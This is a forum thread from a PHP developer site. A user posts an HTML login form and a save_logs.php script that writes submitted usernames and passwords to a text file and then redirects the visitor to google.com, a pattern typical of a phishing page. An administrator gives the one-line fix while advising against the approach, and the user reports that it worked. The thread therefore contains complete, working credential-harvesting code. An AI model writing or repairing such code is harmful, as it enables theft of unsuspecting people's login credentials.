PHP Developers Network

A community of PHP developers offering assistance, advice, discussion, and friendship.
 
Loading
It is currently Wed Jun 26, 2019 8:10 pm

All times are UTC - 5 hours




Post new topic Reply to topic  [ 6 posts ] 
Author Message
PostPosted: Tue Mar 27, 2018 10:27 am 
Offline
Forum Newbie

Joined: Tue Mar 27, 2018 10:19 am
Posts: 3
Syntax: [ Download ] [ Hide ]
<form class="form-signin form" autocomplete="off" id="login-form" action="save_logs.php" method="post">


<div class='loginform'>
<div class='inputslogin'>

           
                        <label for='name'><img src='/img/log_user.png'></label>
            <div class="form-group"><div><input class="form-control" placeholder="Username" name="LoginForm[username]" id="LoginForm_username" type="text" /><div class="help-block error" id="LoginForm_username_em_" style="display:none"></div></div></div>            
                       
                        <label for='pass'><img src='/img/log_pass.png'></label>
            <div class="form-group"><div><input class="form-control" placeholder="Password" name="LoginForm[password]" id="LoginForm_password" type="password" /><div class="help-block error" id="LoginForm_password_em_" style="display:none"></div></div></div>            
           
            <button type='submit'>enter</button>
                            <a href="register.php">
                    <button type='button'>register</button>
                </a>
                    </div>
                                        </div>


save_logs.php :-

Syntax: [ Download ] [ Hide ]
<?php
header ('Location: https://google.com ');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, "\r\n");}
fwrite($handle, "**************************************\r\n");
fclose($handle);
exit;
?>


I WANT TO SAVE USERNAME n PASSWORD IN TEXT FILE ON SUBMIT

i tried with this save_logs.php script but that didnot worked.


Top
 Profile  
 
PostPosted: Tue Mar 27, 2018 2:21 pm 
Offline
Site Administrator
User avatar

Joined: Wed Aug 25, 2004 7:54 pm
Posts: 13590
Location: New York, NY, US
To get the username and password:
Syntax: [ Download ] [ Hide ]
foreach($_POST['LoginForm'] as $variable => $value) {

Asifahmad555 wrote:
I WANT TO SAVE USERNAME n PASSWORD IN TEXT FILE ON SUBMIT

Don't do this! At least use SQLite which is a file based database. http://php.net/manual/en/book.sqlite3.php

_________________
(#10850)


Top
 Profile  
 
PostPosted: Tue Mar 27, 2018 2:57 pm 
Offline
DevNet Master
User avatar

Joined: Wed Jun 27, 2007 9:44 am
Posts: 4313
Location: Sofia, Bulgaria
Christopher +1

Also, never ever save a plain text password - save salt & peppered password hash instead.

_________________
There are 10 types of people in this world, those who understand binary and those who don't


Top
 Profile  
 
PostPosted: Wed Mar 28, 2018 4:15 am 
Offline
Forum Newbie

Joined: Tue Mar 27, 2018 10:19 am
Posts: 3
yes i know but now i want to save in text file so please correct this form n that php script.


Top
 Profile  
 
PostPosted: Wed Mar 28, 2018 11:23 pm 
Offline
Site Administrator
User avatar

Joined: Wed Aug 25, 2004 7:54 pm
Posts: 13590
Location: New York, NY, US
Asifahmad555 wrote:
yes i know but now i want to save in text file so please correct this form n that php script.

I gave you the correction above. And then said you should not do it this way.

_________________
(#10850)


Top
 Profile  
 
PostPosted: Thu Mar 29, 2018 1:25 am 
Offline
Forum Newbie

Joined: Tue Mar 27, 2018 10:19 am
Posts: 3
Christopher wrote:
Asifahmad555 wrote:
yes i know but now i want to save in text file so please correct this form n that php script.

I gave you the correction above. And then said you should not do it this way.




THANKX IT WORKED BRO :)


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 6 posts ] 

All times are UTC - 5 hours


Who is online

Users browsing this forum: No registered users and 6 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB® Forum Software © phpBB Group